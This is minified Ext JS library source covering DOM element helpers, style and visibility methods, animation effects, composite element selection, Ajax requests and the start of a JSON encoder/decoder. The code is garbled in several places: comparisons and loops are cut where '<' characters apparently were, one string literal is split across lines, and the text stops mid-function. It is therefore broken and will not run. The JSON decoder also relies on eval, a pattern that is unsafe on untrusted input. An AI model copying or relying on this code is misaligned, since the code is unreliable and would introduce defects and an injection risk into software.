m},load:function(n,o,m){Ext.Ajax.request(Ext.apply({params:o,url:n.url||n,callback:m,el:this.dom,indicatorText:n.indicatorText||""},Ext.isObject(n)?n:{}));return this},isBorderBox:function(){return Ext.isBorderBox||Ext.isForcedBorderBox||g[(this.dom.tagName||"").toLowerCase()]},remove:function(){var m=this,n=m.dom;if(n){delete m.dom;Ext.removeNode(n)}},hover:function(n,m,p,o){var q=this;q.on("mouseenter",n,p||q.dom,o);q.on("mouseleave",m,p||q.dom,o);return q},contains:function(m){return !m?false:Ext.lib.Dom.isAncestor(this.dom,m.dom?m.dom:m)},getAttributeNS:function(n,m){return this.getAttribute(m,n)},getAttribute:Ext.isIE?function(m,o){var p=this.dom,n=typeof p[o+":"+m];if(["undefined","unknown"].indexOf(n)==-1){return p[o+":"+m]}return p[m]}:function(m,n){var o=this.dom;return o.getAttributeNS(n,m)||o.getAttribute(n+":"+m)||o.getAttribute(m)||o[m]},update:function(m){if(this.dom){this.dom.innerHTML=m}return this}};var l=e.prototype;e.addMethods=function(m){Ext.apply(l,m)};l.on=l.addListener;l.un=l.removeListener;l.autoBoxAdjust=true;var i=/\d+(px|em|%|en|ex|pt|in|cm|mm|pc)$/i,c;e.get=function(n){var m,q,p;if(!n){return null}if(typeof n=="string"){if(!(q=h.getElementById(n))){return null}if(a[n]&&a[n].el){m=a[n].el;m.dom=q}else{m=e.addToCache(new e(q))}return m}else{if(n.tagName){if(!(p=n.id)){p=Ext.id(n)}if(a[p]&&a[p].el){m=a[p].el;m.dom=n}else{m=e.addToCache(new e(n))}return m}else{if(n instanceof e){if(n!=c){if(Ext.isIE&&(n.id==undefined||n.id=="")){n.dom=n.dom}else{n.dom=h.getElementById(n.id)||n.dom}}return n}else{if(n.isComposite){return n}else{if(Ext.isArray(n)){return e.select(n)}else{if(n==h){if(!c){var o=function(){};o.prototype=e.prototype;c=new o();c.dom=h}return c}}}}}}return null};e.addToCache=function(m,n){n=n||m.id;a[n]={el:m,data:{},events:{}};return m};e.data=function(n,m,o){n=e.get(n);if(!n){return null}var p=a[n.id].data;if(arguments.length==2){return p[m]}else{return(p[m]=o)}};function k(){if(!Ext.enableGarbageCollector){clearInterval(e.collectorThreadId)}else{var m,p,r,q;for(m in a){q=a[m];if(q.skipGC){continue}p=q.el;r=p.dom;if(!r||!r.parentNode||(!r.offsetParent&&!h.getElementById(m))){if(Ext.enableListenerCollection){Ext.EventManager.removeAll(r)}delete a[m]}}if(Ext.isIE){var n={};for(m in a){n[m]=a[m]}a=Ext.elCache=n}}}e.collectorThreadId=setInterval(k,30000);var b=function(){};b.prototype=e.prototype;e.Flyweight=function(m){this.dom=m};e.Flyweight.prototype=new b();e.Flyweight.prototype.isFlyweight=true;e._flyweights={};e.fly=function(o,m){var n=null;m=m||"_global";if(o=Ext.getDom(o)){(e._flyweights[m]=e._flyweights[m]||new e.Flyweight()).dom=o;n=e._flyweights[m]}return n};Ext.get=e.get;Ext.fly=e.fly;var g=Ext.isStrict?{select:1}:{input:1,select:1,textarea:1};if(Ext.isIE||Ext.isGecko){g.button=1}})();Ext.Element.addMethods(function(){var d="parentNode",b="nextSibling",c="previousSibling",e=Ext.DomQuery,a=Ext.get;return{findParent:function(n,m,h){var k=this.dom,g=document.body,l=0,i;if(Ext.isGecko&&Object.prototype.toString.call(k)=="[object XULElement]"){return null}m=m||50;if(isNaN(m)){i=Ext.getDom(m);m=Number.MAX_VALUE}while(k&&k.nodeType==1&&l "+g,this.dom);return h?i:a(i)},parent:function(g,h){return this.matchNode(d,d,g,h)},next:function(g,h){return this.matchNode(b,b,g,h)},prev:function(g,h){return this.matchNode(c,c,g,h)},first:function(g,h){return this.matchNode(b,"firstChild",g,h)},last:function(g,h){return this.matchNode(c,"lastChild",g,h)},matchNode:function(h,l,g,i){var k=this.dom[l];while(k){if(k.nodeType==1&&(!g||e.is(k,g))){return !i?a(k):k}k=k[h]}return null}}}());Ext.Element.addMethods(function(){var c=Ext.getDom,a=Ext.get,b=Ext.DomHelper;return{appendChild:function(d){return a(d).appendTo(this)},appendTo:function(d){c(d).appendChild(this.dom);return this},insertBefore:function(d){(d=c(d)).parentNode.insertBefore(this.dom,d);return this},insertAfter:function(d){(d=c(d)).parentNode.insertBefore(this.dom,d.nextSibling);return this},insertFirst:function(e,d){e=e||{};if(e.nodeType||e.dom||typeof e=="string"){e=c(e);this.dom.insertBefore(e,this.dom.firstChild);return !d?a(e):e}else{return this.createChild(e,this.dom.firstChild,d)}},replace:function(d){d=a(d);this.insertBefore(d);d.remove();return this},replaceWith:function(d){var e=this;if(d.nodeType||d.dom||typeof d=="string"){d=c(d);e.dom.parentNode.insertBefore(d,e.dom)}else{d=b.insertBefore(e.dom,d)}delete Ext.elCache[e.id];Ext.removeNode(e.dom);e.id=Ext.id(e.dom=d);Ext.Element.addToCache(e.isFlyweight?new Ext.Element(e.dom):e);return e},createChild:function(e,d,g){e=e||{tag:"div"};return d?b.insertBefore(d,e,g!==true):b[!this.dom.firstChild?"overwrite":"append"](this.dom,e,g!==true)},wrap:function(d,e){var g=b.insertBefore(this.dom,d||{tag:"div"},!e);g.dom?g.dom.appendChild(this.dom):g.appendChild(this.dom);return g},insertHtml:function(e,g,d){var h=b.insertHtml(e,this.dom,g);return d?Ext.get(h):h}}}());Ext.Element.addMethods(function(){var B=Ext.supports,h={},y=/(-[a-z])/gi,t=document.defaultView,E=/alpha\(opacity=(.*)\)/i,m=/^\s+|\s+$/g,C=Ext.Element,v=/\s+/,b=/\w/g,d="padding",c="margin",z="border",u="-left",r="-right",x="-top",p="-bottom",k="-width",s=Math,A="hidden",e="isClipped",l="overflow",o="overflow-x",n="overflow-y",D="originalClip",i={l:z+u+k,r:z+r+k,t:z+x+k,b:z+p+k},g={l:d+u,r:d+r,t:d+x,b:d+p},a={l:c+u,r:c+r,t:c+x,b:c+p},F=Ext.Element.data;function q(G,H){return H.charAt(1).toUpperCase()}function w(G){return h[G]||(h[G]=G=="float"?(B.cssFloat?"cssFloat":"styleFloat"):G.replace(y,q))}return{adjustWidth:function(G){var H=this;var I=(typeof G=="number");if(I&&H.autoBoxAdjust&&!H.isBorderBox()){G-=(H.getBorderWidth("lr")+H.getPadding("lr"))}return(I&&G<0)?0:G},adjustHeight:function(G){var H=this;var I=(typeof G=="number");if(I&&H.autoBoxAdjust&&!H.isBorderBox()){G-=(H.getBorderWidth("tb")+H.getPadding("tb"))}return(I&&G<0)?0:G},addClass:function(K){var L=this,J,G,I,H=[];if(!Ext.isArray(K)){if(typeof K=="string"&&!this.hasClass(K)){L.dom.className+=" "+K}}else{for(J=0,G=K.length;J5?I.toLowerCase():H)},setStyle:function(J,I){var G,H;if(typeof J!="object"){G={};G[J]=I;J=G}for(H in J){I=J[H];H=="opacity"?this.setOpacity(I):this.dom.style[w(H)]=I}return this},setOpacity:function(H,G){var K=this,I=K.dom.style;if(!G||!K.anim){if(Ext.isIE){var J=H<1?"alpha(opacity="+H*100+")":"",L=I.filter.replace(E,"").replace(m,"");I.zoom=1;I.filter=L+(L.length>0?" ":"")+J}else{I.opacity=H}}else{K.anim({opacity:{to:H}},K.preanim(arguments,1),null,0.35,"easeIn")}return K},clearOpacity:function(){var G=this.dom.style;if(Ext.isIE){if(!Ext.isEmpty(G.filter)){G.filter=G.filter.replace(E,"").replace(m,"")}}else{G.opacity=G["-moz-opacity"]=G["-khtml-opacity"]=""}return this},getHeight:function(I){var H=this,K=H.dom,J=Ext.isIE&&H.isStyle("display","none"),G=s.max(K.offsetHeight,J?0:K.clientHeight)||0;G=!I?G:G-H.getBorderWidth("tb")-H.getPadding("tb");return G<0?0:G},getWidth:function(H){var I=this,K=I.dom,J=Ext.isIE&&I.isStyle("display","none"),G=s.max(K.offsetWidth,J?0:K.clientWidth)||0;G=!H?G:G-I.getBorderWidth("lr")-I.getPadding("lr");return G<0?0:G},setWidth:function(H,G){var I=this;H=I.adjustWidth(H);!G||!I.anim?I.dom.style.width=I.addUnits(H):I.anim({width:{to:H}},I.preanim(arguments,1));return I},setHeight:function(G,H){var I=this;G=I.adjustHeight(G);!H||!I.anim?I.dom.style.height=I.addUnits(G):I.anim({height:{to:G}},I.preanim(arguments,1));return I},getBorderWidth:function(G){return this.addStyles(G,i)},getPadding:function(G){return this.addStyles(G,g)},clip:function(){var G=this,H=G.dom;if(!F(H,e)){F(H,e,true);F(H,D,{o:G.getStyle(l),x:G.getStyle(o),y:G.getStyle(n)});G.setStyle(l,A);G.setStyle(o,A);G.setStyle(n,A)}return G},unclip:function(){var G=this,I=G.dom;if(F(I,e)){F(I,e,false);var H=F(I,D);if(H.o){G.setStyle(l,H.o)}if(H.x){G.setStyle(o,H.x)}if(H.y){G.setStyle(n,H.y)}}return G},addStyles:function(N,M){var K=0,L=N.match(b),J,I,H,G=L.length;for(H=0;Ha.clientHeight||a.scrollWidth>a.clientWidth},scrollTo:function(a,b){this.dom["scroll"+(/top/i.test(a)?"Top":"Left")]=b;return this},getScroll:function(){var i=this.dom,h=document,a=h.body,c=h.documentElement,b,g,e;if(i==h||i==a){if(Ext.isIE&&Ext.isStrict){b=c.scrollLeft;g=c.scrollTop}else{b=window.pageXOffset;g=window.pageYOffset}e={left:b||(a?a.scrollLeft:0),top:g||(a?a.scrollTop:0)}}else{e={left:i.scrollLeft,top:i.scrollTop}}return e}});Ext.Element.VISIBILITY=1;Ext.Element.DISPLAY=2;Ext.Element.OFFSETS=3;Ext.Element.ASCLASS=4;Ext.Element.visibilityCls="x-hide-nosize";Ext.Element.addMethods(function(){var e=Ext.Element,q="opacity",k="visibility",g="display",d="hidden",o="offsets",l="asclass",n="none",a="nosize",b="originalDisplay",c="visibilityMode",h="isVisible",i=e.data,m=function(s){var r=i(s,b);if(r===undefined){i(s,b,r="")}return r},p=function(s){var r=i(s,c);if(r===undefined){i(s,c,r=1)}return r};return{originalDisplay:"",visibilityMode:1,setVisibilityMode:function(r){i(this.dom,c,r);return this},animate:function(s,u,t,v,r){this.anim(s,{duration:u,callback:t,easing:v},r);return this},anim:function(u,v,s,x,t,r){s=s||"run";v=v||{};var w=this,y=Ext.lib.Anim[s](w.dom,u,(v.duration||x)||0.35,(v.easing||t)||"easeOut",function(){if(r){r.call(w)}if(v.callback){v.callback.call(v.scope||w,w,v)}},w);v.anim=y;return y},preanim:function(r,s){return !r[s]?false:(typeof r[s]=="object"?r[s]:{duration:r[s+1],callback:r[s+2],easing:r[s+3]})},isVisible:function(){var r=this,t=r.dom,s=i(t,h);if(typeof s=="boolean"){return s}s=!r.isStyle(k,d)&&!r.isStyle(g,n)&&!((p(t)==e.ASCLASS)&&r.hasClass(r.visibilityCls||e.visibilityCls));i(t,h,s);return s},setVisible:function(u,r){var x=this,s,z,y,w,v=x.dom,t=p(v);if(typeof r=="string"){switch(r){case g:t=e.DISPLAY;break;case k:t=e.VISIBILITY;break;case o:t=e.OFFSETS;break;case a:case l:t=e.ASCLASS;break}x.setVisibilityMode(t);r=false}if(!r||!x.anim){if(t==e.ASCLASS){x[u?"removeClass":"addClass"](x.visibilityCls||e.visibilityCls)}else{if(t==e.DISPLAY){return x.setDisplayed(u)}else{if(t==e.OFFSETS){if(!u){x.hideModeStyles={position:x.getStyle("position"),top:x.getStyle("top"),left:x.getStyle("left")};x.applyStyles({position:"absolute",top:"-10000px",left:"-10000px"})}else{x.applyStyles(x.hideModeStyles||{position:"",top:"",left:""});delete x.hideModeStyles}}else{x.fixDisplay();v.style.visibility=u?"visible":d}}}}else{if(u){x.setOpacity(0.01);x.setVisible(true)}x.anim({opacity:{to:(u?1:0)}},x.preanim(arguments,1),null,0.35,"easeIn",function(){u||x.setVisible(false).setOpacity(1)})}i(v,h,u);return x},hasMetrics:function(){var r=this.dom;return this.isVisible()||(p(r)==e.VISIBILITY)},toggle:function(r){var s=this;s.setVisible(!s.isVisible(),s.preanim(arguments,0));return s},setDisplayed:function(r){if(typeof r=="boolean"){r=r?m(this.dom):n}this.setStyle(g,r);return this},fixDisplay:function(){var r=this;if(r.isStyle(g,n)){r.setStyle(k,d);r.setStyle(g,m(this.dom));if(r.isStyle(g,n)){r.setStyle(g,"block")}}},hide:function(r){if(typeof r=="string"){this.setVisible(false,r);return this}this.setVisible(false,this.preanim(arguments,0));return this},show:function(r){if(typeof r=="string"){this.setVisible(true,r);return this}this.setVisible(true,this.preanim(arguments,0));return this}}}());(function(){var z=null,B=undefined,l=true,u=false,k="setX",h="setY",a="setXY",o="left",m="bottom",t="top",n="right",r="height",g="width",i="points",x="hidden",A="absolute",v="visible",e="motion",p="position",s="easeOut",d=new Ext.Element.Flyweight(),w={},y=function(C){return C||{}},q=function(C){d.dom=C;d.id=Ext.id(C);return d},c=function(C){if(!w[C]){w[C]=[]}return w[C]},b=function(D,C){w[D]=C};Ext.enableFx=l;Ext.Fx={switchStatements:function(D,E,C){return E.apply(this,C[D])},slideIn:function(I,F){F=y(F);var K=this,H=K.dom,N=H.style,P,C,M,E,D,N,J,O,L,G;I=I||"t";K.queueFx(F,function(){P=q(H).getXY();q(H).fixDisplay();C=q(H).getFxRestore();M={x:P[0],y:P[1],0:P[0],1:P[1],width:H.offsetWidth,height:H.offsetHeight};M.right=M.x+M.width;M.bottom=M.y+M.height;q(H).setWidth(M.width).setHeight(M.height);E=q(H).fxWrap(C.pos,F,x);N.visibility=v;N.position=A;function Q(){q(H).fxUnwrap(E,C.pos,F);N.width=C.width;N.height=C.height;q(H).afterFx(F)}O={to:[M.x,M.y]};L={to:M.width};G={to:M.height};function R(V,S,W,T,Y,aa,ad,ac,ab,X,U){var Z={};q(V).setWidth(W).setHeight(T);if(q(V)[Y]){q(V)[Y](aa)}S[ad]=S[ac]="0";if(ab){Z.width=ab}if(X){Z.height=X}if(U){Z.points=U}return Z}J=q(H).switchStatements(I.toLowerCase(),R,{t:[E,N,M.width,0,z,z,o,m,z,G,z],l:[E,N,0,M.height,z,z,n,t,L,z,z],r:[E,N,M.width,M.height,k,M.right,o,t,z,z,O],b:[E,N,M.width,M.height,h,M.bottom,o,t,z,G,O],tl:[E,N,0,0,z,z,n,m,L,G,O],bl:[E,N,0,0,h,M.y+M.height,n,t,L,G,O],br:[E,N,0,0,a,[M.right,M.bottom],o,t,L,G,O],tr:[E,N,0,0,k,M.x+M.width,o,m,L,G,O]});N.visibility=v;q(E).show();arguments.callee.anim=q(E).fxanim(J,F,e,0.5,s,Q)});return K},slideOut:function(G,E){E=y(E);var I=this,F=I.dom,L=F.style,M=I.getXY(),D,C,J,K,H={to:0};G=G||"t";I.queueFx(E,function(){C=q(F).getFxRestore();J={x:M[0],y:M[1],0:M[0],1:M[1],width:F.offsetWidth,height:F.offsetHeight};J.right=J.x+J.width;J.bottom=J.y+J.height;q(F).setWidth(J.width).setHeight(J.height);D=q(F).fxWrap(C.pos,E,v);L.visibility=v;L.position=A;q(D).setWidth(J.width).setHeight(J.height);function N(){E.useDisplay?q(F).setDisplayed(u):q(F).hide();q(F).fxUnwrap(D,C.pos,E);L.width=C.width;L.height=C.height;q(F).afterFx(E)}function O(P,X,V,Y,T,W,S,U,R){var Q={};P[X]=P[V]="0";Q[Y]=T;if(W){Q[W]=S}if(U){Q[U]=R}return Q}K=q(F).switchStatements(G.toLowerCase(),O,{t:[L,o,m,r,H],l:[L,n,t,g,H],r:[L,o,t,g,H,i,{to:[J.right,J.y]}],b:[L,o,t,r,H,i,{to:[J.x,J.bottom]}],tl:[L,n,m,g,H,r,H],bl:[L,n,t,g,H,r,H,i,{to:[J.x,J.bottom]}],br:[L,o,t,g,H,r,H,i,{to:[J.x+J.width,J.bottom]}],tr:[L,o,m,g,H,r,H,i,{to:[J.right,J.y]}]});arguments.callee.anim=q(D).fxanim(K,E,e,0.5,s,N)});return I},puff:function(I){I=y(I);var G=this,H=G.dom,D=H.style,E,C,F;G.queueFx(I,function(){E=q(H).getWidth();C=q(H).getHeight();q(H).clearOpacity();q(H).show();F=q(H).getFxRestore();function J(){I.useDisplay?q(H).setDisplayed(u):q(H).hide();q(H).clearOpacity();q(H).setPositioning(F.pos);D.width=F.width;D.height=F.height;D.fontSize="";q(H).afterFx(I)}arguments.callee.anim=q(H).fxanim({width:{to:q(H).adjustWidth(E*2)},height:{to:q(H).adjustHeight(C*2)},points:{by:[-E*0.5,-C*0.5]},opacity:{to:0},fontSize:{to:200,unit:"%"}},I,e,0.5,s,J)});return G},switchOff:function(G){G=y(G);var E=this,F=E.dom,C=F.style,D;E.queueFx(G,function(){q(F).clearOpacity();q(F).clip();D=q(F).getFxRestore();function H(){G.useDisplay?q(F).setDisplayed(u):q(F).hide();q(F).clearOpacity();q(F).setPositioning(D.pos);C.width=D.width;C.height=D.height;q(F).afterFx(G)}q(F).fxanim({opacity:{to:0.3}},z,z,0.1,z,function(){q(F).clearOpacity();(function(){q(F).fxanim({height:{to:1},points:{by:[0,q(F).getHeight()*0.5]}},G,e,0.3,"easeIn",H)}).defer(100)})});return E},highlight:function(E,I){I=y(I);var G=this,H=G.dom,C=I.attr||"backgroundColor",D={},F;G.queueFx(I,function(){q(H).clearOpacity();q(H).show();function J(){H.style[C]=F;q(H).afterFx(I)}F=H.style[C];D[C]={from:E||"ffff9c",to:I.endColor||q(H).getColor(C)||"ffffff"};arguments.callee.anim=q(H).fxanim(D,I,"color",1,"easeIn",J)});return G},frame:function(C,F,I){I=y(I);var E=this,H=E.dom,D,G;E.queueFx(I,function(){C=C||"#C3DAF9";if(C.length==6){C="#"+C}F=F||1;q(H).show();var M=q(H).getXY(),K={x:M[0],y:M[1],0:M[0],1:M[1],width:H.offsetWidth,height:H.offsetHeight},J=function(){D=q(document.body||document.documentElement).createChild({style:{position:A,"z-index":35000,border:"0px solid "+C}});return D.queueFx({},L)};arguments.callee.anim={isAnimated:true,stop:function(){F=0;D.stopFx()}};function L(){var N=Ext.isBorderBox?2:1;G=D.anim({top:{from:K.y,to:K.y-20},left:{from:K.x,to:K.x-20},borderWidth:{from:0,to:10},opacity:{from:1,to:0},height:{from:K.height,to:K.height+20*N},width:{from:K.width,to:K.width+20*N}},{duration:I.duration||1,callback:function(){D.remove();--F>0?J():q(H).afterFx(I)}});arguments.callee.anim={isAnimated:true,stop:function(){G.stop()}}}J()});return E},pause:function(E){var D=this.dom,C;this.queueFx({},function(){C=setTimeout(function(){q(D).afterFx({})},E*1000);arguments.callee.anim={isAnimated:true,stop:function(){clearTimeout(C);q(D).afterFx({})}}});return this},fadeIn:function(E){E=y(E);var C=this,D=C.dom,F=E.endOpacity||1;C.queueFx(E,function(){q(D).setOpacity(0);q(D).fixDisplay();D.style.visibility=v;arguments.callee.anim=q(D).fxanim({opacity:{to:F}},E,z,0.5,s,function(){if(F==1){q(D).clearOpacity()}q(D).afterFx(E)})});return C},fadeOut:function(F){F=y(F);var D=this,E=D.dom,C=E.style,G=F.endOpacity||0;D.queueFx(F,function(){arguments.callee.anim=q(E).fxanim({opacity:{to:G}},F,z,0.5,s,function(){if(G==0){Ext.Element.data(E,"visibilityMode")==Ext.Element.DISPLAY||F.useDisplay?C.display="none":C.visibility=x;q(E).clearOpacity()}q(E).afterFx(F)})});return D},scale:function(C,D,E){this.shift(Ext.apply({},E,{width:C,height:D}));return this},shift:function(E){E=y(E);var D=this.dom,C={};this.queueFx(E,function(){for(var F in E){if(E[F]!=B){C[F]={to:E[F]}}}C.width?C.width.to=q(D).adjustWidth(E.width):C;C.height?C.height.to=q(D).adjustWidth(E.height):C;if(C.x||C.y||C.xy){C.points=C.xy||{to:[C.x?C.x.to:q(D).getX(),C.y?C.y.to:q(D).getY()]}}arguments.callee.anim=q(D).fxanim(C,E,e,0.35,s,function(){q(D).afterFx(E)})});return this},ghost:function(F,D){D=y(D);var H=this,E=H.dom,K=E.style,I={opacity:{to:0},points:{}},L=I.points,C,J,G;F=F||"b";H.queueFx(D,function(){C=q(E).getFxRestore();J=q(E).getWidth();G=q(E).getHeight();function M(){D.useDisplay?q(E).setDisplayed(u):q(E).hide();q(E).clearOpacity();q(E).setPositioning(C.pos);K.width=C.width;K.height=C.height;q(E).afterFx(D)}L.by=q(E).switchStatements(F.toLowerCase(),function(O,N){return[O,N]},{t:[0,-G],l:[-J,0],r:[J,0],b:[0,G],tl:[-J,-G],bl:[-J,G],br:[J,G],tr:[J,-G]});arguments.callee.anim=q(E).fxanim(I,D,e,0.5,s,M)});return H},syncFx:function(){var C=this;C.fxDefaults=Ext.apply(C.fxDefaults||{},{block:u,concurrent:l,stopFx:u});return C},sequenceFx:function(){var C=this;C.fxDefaults=Ext.apply(C.fxDefaults||{},{block:u,concurrent:u,stopFx:u});return C},nextFx:function(){var C=c(this.dom.id)[0];if(C){C.call(this)}},hasActiveFx:function(){return c(this.dom.id)[0]},stopFx:function(C){var D=this,F=D.dom.id;if(D.hasActiveFx()){var E=c(F)[0];if(E&&E.anim){if(E.anim.isAnimated){b(F,[E]);E.anim.stop(C!==undefined?C:l)}else{b(F,[])}}}return D},beforeFx:function(C){if(this.hasActiveFx()&&!C.concurrent){if(C.stopFx){this.stopFx();return l}return u}return l},hasFxBlock:function(){var C=c(this.dom.id);return C&&C[0]&&C[0].block},queueFx:function(F,C){var D=q(this.dom);if(!D.hasFxBlock()){Ext.applyIf(F,D.fxDefaults);if(!F.concurrent){var E=D.beforeFx(F);C.block=F.block;c(D.dom.id).push(C);if(E){D.nextFx()}}else{C.call(D)}}return D},fxWrap:function(I,G,E){var F=this.dom,D,C;if(!G.wrap||!(D=Ext.getDom(G.wrap))){if(G.fixPosition){C=q(F).getXY()}var H=document.createElement("div");H.style.visibility=E;D=F.parentNode.insertBefore(H,F);q(D).setPositioning(I);if(q(D).isStyle(p,"static")){q(D).position("relative")}q(F).clearPositioning("auto");q(D).clip();D.appendChild(F);if(C){q(D).setXY(C)}}return D},fxUnwrap:function(D,G,F){var E=this.dom;q(E).clearPositioning();q(E).setPositioning(G);if(!F.wrap){var C=q(D).dom.parentNode;C.insertBefore(E,D);q(D).remove()}},getFxRestore:function(){var C=this.dom.style;return{pos:this.getPositioning(),width:C.width,height:C.height}},afterFx:function(D){var C=this.dom,E=C.id;if(D.afterStyle){q(C).setStyle(D.afterStyle)}if(D.afterCls){q(C).addClass(D.afterCls)}if(D.remove==l){q(C).remove()}if(D.callback){D.callback.call(D.scope,q(C))}if(!D.concurrent){c(E).shift();q(C).nextFx()}},fxanim:function(F,G,D,H,E,C){D=D||"run";G=G||{};var I=Ext.lib.Anim[D](this.dom,F,(G.duration||H)||0.35,(G.easing||E)||s,C,this);G.anim=I;return I}};Ext.Fx.resize=Ext.Fx.scale;Ext.Element.addMethods(Ext.Fx)})();Ext.CompositeElementLite=function(b,a){this.elements=[];this.add(b,a);this.el=new Ext.Element.Flyweight()};Ext.CompositeElementLite.prototype={isComposite:true,getElement:function(a){var b=this.el;b.dom=a;b.id=a.id;return b},transformElement:function(a){return Ext.getDom(a)},getCount:function(){return this.elements.length},add:function(d,b){var e=this,g=e.elements;if(!d){return this}if(typeof d=="string"){d=Ext.Element.selectorFunction(d,b)}else{if(d.isComposite){d=d.elements}else{if(!Ext.isIterable(d)){d=[d]}}}for(var c=0,a=d.length;c-1){c=Ext.getDom(c);if(a){g=this.elements[b];g.parentNode.insertBefore(c,g);Ext.removeNode(g)}this.elements.splice(b,1,c)}return this},clear:function(){this.elements=[]}};Ext.CompositeElementLite.prototype.on=Ext.CompositeElementLite.prototype.addListener;Ext.CompositeElementLite.importElementMethods=function(){var c,b=Ext.Element.prototype,a=Ext.CompositeElementLite.prototype;for(c in b){if(typeof b[c]=="function"){(function(d){a[d]=a[d]||function(){return this.invoke(d,arguments)}}).call(a,c)}}};Ext.CompositeElementLite.importElementMethods();if(Ext.DomQuery){Ext.Element.selectorFunction=Ext.DomQuery.select}Ext.Element.select=function(a,b){var c;if(typeof a=="string"){c=Ext.Element.selectorFunction(a,b)}else{if(a.length!==undefined){c=a}else{throw"Invalid selector"}}return new Ext.CompositeElementLite(c)};Ext.select=Ext.Element.select;(function(){var b="beforerequest",e="requestcomplete",d="requestexception",h=undefined,c="load",i="POST",a="GET",g=window;Ext.data.Connection=function(k){Ext.apply(this,k);this.addEvents(b,e,d);Ext.data.Connection.superclass.constructor.call(this)};Ext.extend(Ext.data.Connection,Ext.util.Observable,{timeout:30000,autoAbort:false,disableCaching:true,disableCachingParam:"_dc",request:function(q){var t=this;if(t.fireEvent(b,t,q)){if(q.el){if(!Ext.isEmpty(q.indicatorText)){t.indicatorText='
'+q.indicatorText+"
"}if(t.indicatorText){Ext.getDom(q.el).innerHTML=t.indicatorText}q.success=(Ext.isFunction(q.success)?q.success:function(){}).createInterceptor(function(o){Ext.getDom(q.el).innerHTML=o.responseText})}var m=q.params,l=q.url||t.url,k,r={success:t.handleResponse,failure:t.handleFailure,scope:t,argument:{options:q},timeout:Ext.num(q.timeout,t.timeout)},n,u;if(Ext.isFunction(m)){m=m.call(q.scope||g,q)}m=Ext.urlEncode(t.extraParams,Ext.isObject(m)?Ext.urlEncode(m):m);if(Ext.isFunction(l)){l=l.call(q.scope||g,q)}if((n=Ext.getDom(q.form))){l=l||n.action;if(q.isUpload||(/multipart\/form-data/i.test(n.getAttribute("enctype")))){return t.doFormUpload.call(t,q,m,l)}u=Ext.lib.Ajax.serializeForm(n);m=m?(m+"&"+u):u}k=q.method||t.method||((m||q.xmlData||q.jsonData)?i:a);if(k===a&&(t.disableCaching&&q.disableCaching!==false)||q.disableCaching===true){var s=q.disableCachingParam||t.disableCachingParam;l=Ext.urlAppend(l,s+"="+(new Date().getTime()))}q.headers=Ext.apply(q.headers||{},t.defaultHeaders||{});if(q.autoAbort===true||t.autoAbort){t.abort()}if((k==a||q.xmlData||q.jsonData)&&m){l=Ext.urlAppend(l,m);m=""}return(t.transId=Ext.lib.Ajax.request(k,l,r,m,q))}else{return q.callback?q.callback.apply(q.scope,[q,h,h]):null}},isLoading:function(k){return k?Ext.lib.Ajax.isCallInProgress(k):!!this.transId},abort:function(k){if(k||this.isLoading()){Ext.lib.Ajax.abort(k||this.transId)}},handleResponse:function(k){this.transId=false;var l=k.argument.options;k.argument=l?l.argument:null;this.fireEvent(e,this,k,l);if(l.success){l.success.call(l.scope,k,l)}if(l.callback){l.callback.call(l.scope,l,true,k)}},handleFailure:function(k,m){this.transId=false;var l=k.argument.options;k.argument=l?l.argument:null;this.fireEvent(d,this,k,l,m);if(l.failure){l.failure.call(l.scope,k,l)}if(l.callback){l.callback.call(l.scope,l,false,k)}},doFormUpload:function(r,k,l){var m=Ext.id(),w=document,s=w.createElement("iframe"),n=Ext.getDom(r.form),v=[],u,q="multipart/form-data",p={target:n.target,method:n.method,encoding:n.encoding,enctype:n.enctype,action:n.action};Ext.fly(s).set({id:m,name:m,cls:"x-hidden",src:Ext.SSL_SECURE_URL});w.body.appendChild(s);if(Ext.isIE){document.frames[m].name=m}Ext.fly(n).set({target:m,method:i,enctype:q,encoding:q,action:l||p.action});Ext.iterate(Ext.urlDecode(k,false),function(x,o){u=w.createElement("input");Ext.fly(u).set({type:"hidden",value:o,name:x});n.appendChild(u);v.push(u)});function t(){var y=this,x={responseText:"",responseXML:null,argument:r.argument},B,A;try{B=s.contentWindow.document||s.contentDocument||g.frames[m].document;if(B){if(B.body){if(/textarea/i.test((A=B.body.firstChild||{}).tagName)){x.responseText=A.value}else{x.responseText=B.body.innerHTML}}x.responseXML=B.XMLDocument||B}}catch(z){}Ext.EventManager.removeListener(s,c,t,y);y.fireEvent(e,y,x,r);function o(E,D,C){if(Ext.isFunction(E)){E.apply(D,C)}}o(r.success,r.scope,[x,r]);o(r.callback,r.scope,[r,true,x]);if(!y.debugUploads){setTimeout(function(){Ext.removeNode(s)},100)}}Ext.EventManager.on(s,c,t,this);n.submit();Ext.fly(n).set(p);Ext.each(v,function(o){Ext.removeNode(o)})}})})();Ext.Ajax=new Ext.data.Connection({autoAbort:false,serializeForm:function(a){return Ext.lib.Ajax.serializeForm(a)}});Ext.util.JSON=new (function(){var useHasOwn=!!{}.hasOwnProperty,isNative=function(){var useNative=null;return function(){if(useNative===null){useNative=Ext.USE_NATIVE_JSON&&window.JSON&&JSON.toString()=="[object JSON]"}return useNative}}(),pad=function(n){return n<10?"0"+n:n},doDecode=function(json){return eval("("+json+")")},doEncode=function(o){if(!Ext.isDefined(o)||o===null){return"null"}else{if(Ext.isArray(o)){return encodeArray(o)}else{if(Ext.isDate(o)){return Ext.util.JSON.encodeDate(o)}else{if(Ext.isString(o)){return encodeString(o)}else{if(typeof o=="number"){return isFinite(o)?String(o):"null"}else{if(Ext.isBoolean(o)){return String(o)}else{var a=["{"],b,i,v;for(i in o){if(!o.getElementsByTagName){if(!useHasOwn||o.hasOwnProperty(i)){v=o[i];switch(typeof v){case"undefined":case"function":case"unknown":break;default:if(b){a.push(",")}a.push(doEncode(i),":",v===null?"null":doEncode(v));b=true}}}}a.push("}");return a.join("")}}}}}}},m={"\b":"\\b","\t":"\\t","\n":"\\n","\f":"\\f","\r":"\\r",'"':'\\"',"\\":"\\\\"},encodeString=function(s){if(/["\\\x00-\x1f]/.test(s)){return'"'+s.replace(/([\x00-\x1f\\"])/g,function(a,b){var c=m[b];if(c){return c}c=b.charCodeAt();return"\\u00"+Math.floor(c/16).toString(16)+(c%16).toString(16)})+'"'}return'"'+s+'"'},encodeArray=function(o){var a=["["],b,i,l=o.length,v;for(i=0;i
